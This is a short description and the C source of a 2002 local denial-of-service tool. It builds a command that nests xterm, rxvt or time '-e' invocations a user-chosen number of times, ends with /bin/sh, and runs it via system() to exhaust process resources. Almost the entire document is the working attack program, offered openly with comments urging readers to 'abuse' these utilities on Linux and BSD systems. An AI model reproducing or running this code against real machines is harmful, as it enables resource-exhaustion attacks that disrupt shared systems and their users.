A local DoS utility that utilizes a users ability to spawn multiple processes using Xterm, Rxvt, or Time. Tested on Slackware 7.1.
4f8755c38361730442bf52d7e93981e730604ccb866811bfcafe511bc819147f
/*
* ( XTERM, RXVT, TIME ) Possible Denial Of Service Attack.
* ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
* combinations of the above programs , or each one sperately could cause DoS.
* while most linux got these stuff installed, and many other unixes, so get to abuse them,
* because xterm,rxvt & time permits execution of other programs.
* tested under slackware linux 7.1 & worked fine. should also work fine under *BSDs.
*
* (c) 2002 killah @ hack . gr
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#define XTERM_PATH "/usr/X11R6/bin/xterm -e "
#define RXVT_PATH "/usr/X11R6/bin/rxvt -e "
#define TIME_PATH "/usr/bin/time "
#define LASTEXEC "/bin/sh" // put anything u like here.
#define SIZE 512
#define VERSION "0.1"
int
main(int argc,char **argv)
{
char *hope,mixed[SIZE];
int counter,num,ch,sux=0;
if(argc<3)
{
printf("\t >>XRT(Xterm,Rxvt,Time) DoS ver%s<<\n\n"
"\t Usage : %s\n"
" -n [number of times to run program]\n"
" -x (for using xterm.)\n"
" -r (for using rxvt.)\n"
" -t (for using time.)\n",VERSION,argv[0]);
exit(EXIT_FAILURE);
}
bzero(mixed,sizeof(mixed));
while((ch=getopt(argc,argv,"n:xrt"))!=EOF)
{
switch(ch)
{
case 'n':
num=atoi(optarg);
break;
case 'x':
strncat(mixed,XTERM_PATH,strlen(XTERM_PATH));
sux=strlen(XTERM_PATH)+sux;
break;
case 'r':
strncat(mixed,RXVT_PATH,strlen(RXVT_PATH));
sux=strlen(RXVT_PATH)+sux;
break;
case 't':
strncat(mixed,TIME_PATH,strlen(TIME_PATH));
sux=strlen(TIME_PATH)+sux;
break;
}
}
hope=malloc(num*strlen(mixed)+4);
bzero(hope,sizeof(hope));
for(counter=0; counter<num; counter++)
strncat(hope,mixed,strlen(mixed));
strncat(hope,LASTEXEC,strlen(LASTEXEC));
// printf("string generated is : [%s] [%u]\n",hope,sizeof(hope));
system(hope);// wh0a, going for DoS!!!
free(hope);//freeing memory captured by hope.
return(EXIT_SUCCESS);//keep debugger happy.
}
/*EOF*/